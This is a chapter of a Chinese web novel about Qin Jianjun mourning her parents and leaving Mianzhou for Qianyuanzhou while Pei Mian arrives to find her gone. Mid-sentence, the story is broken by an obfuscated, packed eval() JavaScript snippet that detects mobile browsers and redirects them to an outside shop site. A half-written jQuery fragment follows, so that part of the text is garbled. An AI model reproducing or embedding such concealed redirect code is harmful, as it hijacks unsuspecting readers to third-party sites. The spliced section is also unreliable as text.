“娘!!!”
秦建业撕心裂肺的吼声吓得秦见君脚下步子都乱了,急忙跑过去,她呆滞地看着地上的两具尸体,感到手脚发凉、发麻......
杨甜与秦留志是同一天下葬的。
一个运回了井沟村,埋入了秦家祖坟,说是祖坟,不过是有着密集坟包的一小块荒地罢了;另一个则烧了装进骨灰坛中,被秦建业摆在屋子里。
“娘......那边冷吗?”秦建业单腿跪不下去,只能站在骨灰坛前喃喃,面如死灰,毫无生气。
秦见君站在门外,听着秦建业诉说着思念之情,她背靠在门板上缓缓下蹲,直至抱住双膝。
她有些怀疑自己是不是做错了,不该给杨甜希望,让她跑出来,让她有了反抗之心,如此也不至于丢了命......
袁芽知晓了杨甜的事,自告奋勇揽下做饭的活儿,日日给秦见君与秦建业送饭菜。
这天送完饭菜,从秦见君的院子里出来,她便看见袁分站在门口。
“哥?你怎么来了?今日不是去办事了吗?”袁芽疑惑道。
袁分接过她手中的食盒,说了一个袁芽意想不到的消息。
“职务我辞了,回去收拾行李,我们去虔渊州。”
袁芽瞪大了眼睛,心中有些复杂,结结巴巴道:“我、我是想同姐姐在一处,但、但也不能让你丢了职务......”
袁分摇头道:“如今虔渊州局势繁乱,袁原让我去帮忙。”
袁原?
袁芽眼珠子一转,问道:“袁原哥来了?那裴大人呢?”
袁分知晓她在想什么,如实道:“袁原人在虔渊州,给我来了信,裴大人的下落我并不知晓。”
袁芽听了,塌下膀子叹了口气——姐姐已经消沉好几日了,人都瘦了一圈,自己好说歹说都劝不动她,只能眼睁睁看着,裴大人定是有法子的,可他何时才能来呢?
袁芽边走边想着,忽然耳边传来嚎哭声,她抬头张望了一下,看见街头围着一群人,于是凑上去赶热闹。
人群中间坐着一对衣衫褴褛的夫妻,妇人手中抱着个没了动静的孩子。
袁芽认出来,那孩子是她弟弟。
“我苦命的儿啊......怎么就走了啊!”妇人嚎哭的声音响彻半条街,她看起来憔悴极了,比起冬日里见,似是苍老了几十岁。
她头发乱糟糟的,白发倒比黑发还多,脸上皱纹也更深了,两颊凹陷进入,嘴唇瘪瘪的,上面全是干裂的死皮与血口子。
袁芽隐在人群中静静看着,感到身后的热气,忍不住往后退了一步,半靠在袁分身上。
脏污棉被中的孩子闭着眼,似是睡过去了。
袁芽看见弟弟的脸上干干净净,棉被虽脏,却也比爹娘身上的衣裳加起来还厚。
她从未见过爹娘这样痛苦的模样——若今日死的是自己,他们也会如此痛哭吗?
怎么想的,她便怎么说了。
身后的袁分听了这话,心里一痛,不知该如何回答。
袁芽立刻感受到了哥哥的僵硬,忙笑着转头道:“我知晓的,他们才不会为我哭,但哥哥会哭的对吗......”
她脸上的笑十分勉强,与平日里的开心不同,看着很苦,还有点难看。
袁分蹙起眉头,有些不赞同地看着她。
她垂下眸子,似是妥协般低声道:“知晓了知晓了,我只是随口问问,不会想不开的......”
倒春寒并未持续太久,约莫几日光景,绵州又恢复了初春的温暖。
“含萃楼的牌子怎么拆了?秦小娘呢?”
“你还不知道吧?先前来闹事的是秦小娘的爹,前几日她爹娘双双死在了巷子里......”
“真的假的?怎么死的?”
“听闻是......互相残杀!”
“夫妻哪有隔夜的仇?这是怎么回事啊?”
“这上哪儿知道去?”
“那秦小娘这含萃楼是不开了?”
“不开了,前两日遇上冯小娘,说是要走了,离开绵州。”
“去哪儿啊?秦小娘走了,我们还上哪儿吃小锅米线去?”
“你去街南的武记米线铺子问问吧,先前秦小娘说米线是武小娘做出来的,或许武小娘知晓小锅米线的方子呢?”
“唉......我爹还记挂着初夏的酿酒权投票呢,叮嘱我定要投给含萃楼,这下可好,含萃楼不开了......”
“冯小娘没说她们要去哪儿吗?”
“说了......我记不大清......说是......是......是虔渊州!对!虔渊州!”
“那还好,离我们绵州不算远,到时候我去虔渊州进货,去打听打听秦小娘还开店不。”
“好啊好啊,可得记得回来告知我们!”
秦见君离开绵州这事虽并未广而告之,却也传出去了。
怕白日里走太招摇,容易被殷祈安盯上,秦见君特地选在天未亮时出发。
此次去虔渊州的人不少,她将秦建业与袁分安排在一辆马车上,自己则与袁芽、冯莲一辆,再加一辆用来装行李的马车,想来路上不会太遭罪。
秦见君将院子门落了锁,钥匙早早便归还了院主,她两手空空地透过门缝看向院子,又偏头去看了看一旁的巷子,默了片刻,不再留恋,上了马车。
马车经过含萃楼时,袁芽叫了停,她扒在车窗上仰头看过去。
含萃楼的招牌已经拆了,听闻沈勤忠打算在这儿开一家米铺,如今店中陈设也被拆得乱七八糟,看不出原本模样了。
“走吧......”袁芽失落地收回脑袋,靠在马车上,声音闷闷的。
“秦小娘!等等!”马车外传来喊声。
秦见君探头望过去,是莺儿。
沈婉来送行,身后还跟着赵浅聿。
秦见君有些惊讶,赵浅聿却只淡淡地笑着。
“你路上要小心,绵州虽离虔渊州不远,却也有要一段路程要走的......”沈婉脸上是掩不住的担心。
“好的,知道了,我们有袁分呢,放心吧。”秦见君打起精神安慰着沈婉。
“我给你的香橼契约是一直有效的。”
秦见君终于露出了这几日来的第一个笑容,她觉得嘴唇有些干,微笑时绷得慌,便不再勉强,又将嘴角落了下来。
沈婉絮絮叨叨又温声说了几句,眼看着要掉下泪,赵浅聿忙上前拦住了她。
“我有几句话要同秦小娘说,你去路旁等等好吗?”
沈婉的目光在二人之间转了两圈,虽然不解,却还是转身退到了路旁。
“赵大人这是恢复自由了?”秦见君问。
赵浅聿点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099654|141165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点头,道:“自由了,知州官位被除,可不是彻底自由了吗。”
“官职没了?”秦见君蹙眉,难道是为了帮自己,无视禁足令触怒了官家?
赵浅聿看起来并不惋惜,反而有种解脱之感。
“过岭州的下任知州人选不错,我本就无心官场,如今被除了也好。”他端正神色道,“再说了,这也是官家有意放行,若是我爹出事,我这个身无官职之人想来也不会牵扯太深。”
秦见君听了,感到一阵无奈,余光瞥见沈婉,又忍不住问赵浅聿:“那你跟沈小姐......”
赵浅聿挑挑眉,问:“你看出来了?”
秦见君以为他说的是沈婉对他有情之事,于是点点头。
赵浅聿却低头笑了一下,似是有些不好意思,道:“我......我也是年前才明白自己心意的......”
看他羞涩的模样,秦见君觉得自己好像挖到了什么不得了的八卦。
“你为什么......”
赵浅聿轻叹了声道:“年前南下办事,遇上她,便同路走了一段......”他敛着眸子,却掩不住其中柔情,“她聪慧、温柔,与种香橼的百姓谈价也并不耍心思,真诚又善良,我想这世上应该无人能拒绝她......”
秦见君忍不住用余光去瞥沈婉,只见她站在路边,睁大眼好奇地往这边看,脚下却克制地不往前凑,保持着大小姐的礼仪姿态。
于是秦见君也笑了,道:“确实无人能拒绝她。”
赵浅聿似是找到了同好,笑着对上秦见君的视线,不过须臾又蹙起眉,试探道:“那沈小姐如今还喜欢殷祈安吗?”
秦见君:“......”这人怎么一下聪明一下愚笨的?
她的脸皱起来,有些嫌弃道:“殷祈安这人品性不行,有什么好喜欢的。”
赵浅聿听了,顿时上前半步,用克制不住的语气赞同道:“我也如此觉得!”
秦见君决定走前再帮他一把。
“沈小姐眼光也不至于这么差,殷祈安入不了她的眼。”
“那她......”
秦见君摇了摇头,不再理会赵浅聿的提问,转而抬手冲沈婉道别,然后转身上了马车。
“走吧,去虔渊州。”
三辆马车趁着天黑往南去,与此同时,两匹骏马也趁着夜色从北边疾驰而来。
“郎君!这会儿天都未亮,我们先去客栈歇脚吧?”裴小之对另一匹马上的裴眠道。
此时裴眠只想尽快看到秦见君,于是拒绝道:“你去休息。”
裴小之看自家郎君一副心急如焚的样子,也不多问,呵马一路进了绵州。
半个月前裴眠将叶水州事务打点好后,便收拾行李踏上回绵州的路。
只不过途遇大雨,山体滑落,两人停下帮着百姓清理了半月的道路,这才继续前行。
期间裴眠收不到秦见君的来信,心中甚是焦虑,于是连院门都未敲,直接翻墙进去了。
屋子里静悄悄的,门被锁上,裴眠便寻到秦见君卧房的窗户,伸手推开,而后翻身进去。
甫一落地他便觉得不对——这屋子里没人!
他阔步上前,床上连被褥都收起来了。
他在卧房中转了一圈,又去了隔壁秦建业的屋子,也是没人。
他站在原地有些懵——人呢?